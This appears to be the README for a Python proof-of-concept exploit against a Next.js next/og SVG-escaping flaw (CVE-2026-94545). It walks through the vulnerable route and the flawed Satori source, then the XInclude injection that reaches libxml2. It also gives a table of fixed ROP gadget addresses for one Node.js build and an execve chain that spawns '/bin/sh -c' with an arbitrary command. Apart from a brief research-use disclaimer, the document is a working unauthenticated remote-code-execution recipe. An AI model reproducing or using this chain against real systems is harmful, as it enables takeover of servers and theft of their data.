
Python PoC for CVE-2026-94545: exploits unescaped SVG input in Next.js next/og to trigger libxml2 corruption and a ROP chain for unauthenticated RCE.
next/og Unauthenticated Remote Code ExecutionFor security research use only, in authorized vulnerability environments.
| Item | Value |
|---|---|
| CVE | CVE-2026-94545 / GHSA-vcvr-r3jv-pc5j |
| Upstream | Satori GHSA-wx4j-mvgx-mqwp |
| Root Cause | CWE-116 (Improper Encoding or Escaping of Output) → Native XML parser memory corruption → RCE |
| Affected | Next.js 16.2.0 – 16.3.5 (Node runtime with sharp installed); bundled Satori ≥ 0.0.27 and < 0.33.5 |
| Fixed | Next.js 16.3.6 / Satori 0.33.5 |
| Impact | Execute arbitrary commands in the Next.js service process without authentication |
| Tested Stack | Next.js 16.3.5 + sharp 0.35.4 (libvips 8.18.6, librsvg 2.62.91, libxml2 2.15.3) + Node.js v24.20.0 official x64 binary (non-PIE) |
With the Edge runtime (export const runtime = 'edge') or when sharp is not installed, rendering goes through the resvg-wasm sandbox, so this vulnerability does not reach the native parsing chain and therefore does not become RCE.
User input is concatenated into the SVG as plain text, and this SVG is then stuffed whole into a data: URL and handed to a C-language XML parser for a second round of parsing. Only URL encoding is performed in between; XML escaping is never done.
Typical pattern: POST /api/og places the entire request body, or GET /api/og?value= places the query parameter, directly into the SVG <title> of ImageResponse, without filtering or escaping.
import { ImageResponse } from 'next/og'
export const runtime = 'nodejs'
export const dynamic = 'force-dynamic'
async function render(request) {
const url = new URL(request.url)
const value = request.method === 'POST'
? await request.text()
: (url.searchParams.get('value') ?? '')
return new ImageResponse(
<svg width="1200" height="630"><title>{value}</title></svg>,
{ width: 1200, height: 630 }
)
}
export const GET = render
export const POST = render
ImageResponse receives a JSX element tree and returns a PNG. Any route that writes request data into SVG child nodes / attributes / styles is a sink.
next/og Entry Forwardingnode_modules/next/og.js forwards to next/dist/server/og/image-response.js. The Node runtime dynamically loads next/dist/compiled/@vercel/og/index.node.js (native path); the Edge runtime loads the wasm path and is not affected by this vulnerability.
@vercel/og — Satori Generates the SVG, Then Hands It Off for RasterizationThe flow of Next.js's bundled @vercel/og (compiled artifact comments confirm it contains [email protected]) is:
sharp is detected, hand the SVG to the native library for rasterization; otherwise fall back to resvg-wasm.const svg = await satori2(element, { width, height, fonts, ... })
if (sharp) {
pngBuffer = await sharp(new TextEncoder().encode(svg)).resize(width).png().toBuffer()
} else {
const resvgJS = new resvg.Resvg(svg, { fitTo: { mode: ... } })
}
At this point, the user input has already become an SVG string and is passed verbatim to sharp (native libvips).
For an <svg> explicitly written in JSX, Satori serializes it whole into a data:image/svg+xml URL and then embeds it into the output as an <image>.
vercel/[email protected] src/layout.ts: calls SVGNodeToImage when entering an <svg> node.
src/handler/preprocess.ts has two key flaws:
const SVGSymbols = /[\r\n%#()<>?[\\\]^`{|}"']/g // Only used for URI percent-encoding
export function translateSVGNodeToSVGString(node, inheritedColor) {
if (typeof node !== 'object') return String(node) // Flaw 1: string child nodes are returned as-is, with no XML entity escaping
return `<${type}${attrs}${styles}>${translateSVGNodeToSVGString(children, currentColor)}</${type}>`
}
export async function SVGNodeToImage(element, inheritedColor) {
return `data:image/svg+xml;utf8,${`<svg ...>...</svg>`.replace(SVGSymbols, encodeURIComponent)}`
// Flaw 2: only URI percent-encoding is performed, not XML escaping
}
&, <, and > are not written as & / < / >. Percent-encoding is merely a URL syntax requirement; when the downstream parser loads the data: URL, %3C/title%3E is restored into a real </title>, and the attacker's text transitions from "data" back into "document structure".
When the input is </title><xi:include …/><title>, the intermediate SVG handed by Satori to sharp takes the following form (decoded for illustration):
<svg width="1200" height="630" viewBox="0 0 1200 630" xmlns="http://www.w3.org/2000/svg">
<image x="0" y="0" width="1200" height="630"
href="data:image/svg+xml;utf8,...<title></title><xi:include
xmlns:xi='http://www.w3.org/2001/XInclude'
href='data:image/svg+xml,...' parse='xml'/><title></title>..." />
</svg>
sharp(SVG buffer)
→ libvips vips_foreign_load_svg_buffer()
→ librsvg rsvg_handle_new_from_stream_with_flags()
├─ Parses the outer SVG
├─ When it encounters <image href="data:image/svg+xml,...">, loads and re-parses the sub-document
└─ XML parsing is delegated to libxml2
→ libxml2 xmlStringLenDecodeEntities / xmlXIncludeProcessNode / xmlXIncludeLoadDoc
The payload uses two layers of injection to control libxml2's input structure:
</title><xi:include parse="xml" href="data:…"> makes the parser jump to loading a nested document fully controlled by the attacker.libxml2's internal state is pushed beyond expectations, resulting in an out-of-bounds write. The corruption effect is reliably landed via carefully arranged SVG <path> coordinate sequences (IEEE-754 doubles carrying 8-byte little-endian words), thereby hijacking control flow.
execveThe officially released Node.js linux-x64 binary is a non-PIE executable with a fixed load base; PLT / GOT and gadget addresses are constant, so no information leak is needed.
This PoC is built against Node.js v24.20.0 official x64; the gadgets are as follows:
| Symbol | Address | Purpose |
|---|---|---|
POP_RDI | 0xA1EAED | pop rdi ; ret |
POP_RAX | 0x7F38D4 | pop rax ; ret |
POP_RSI | 0x95823D | pop rsi ; ret |
POP_RDX | 0x776758 | pop rdx ; ret |
STOSQ_RET | 0xD16725 | stosq ; ret (writes to scratch qword by qword) |
EXECVE_PLT | 0x745FA0 | PLT stub of execve |
SCRATCH | 0x6B5F500 | Fixed writable address |
The ROP chain first uses pop rax / stosq to write "/bin/sh\0", "-c\0", the command string, and the argv array into SCRATCH qword by qword, then sets up rdi = path, rsi = argv, rdx = envp(0), and jumps to EXECVE_PLT:
execve("/bin/sh", ["/bin/sh", "-c", "<command>"], NULL)
The rendering process itself is replaced by execve; the HTTP connection drops and the service stops responding — this is an inherent manifestation of successful exploitation of this vulnerability. The new process inherits the Node process environment and can execute arbitrary commands.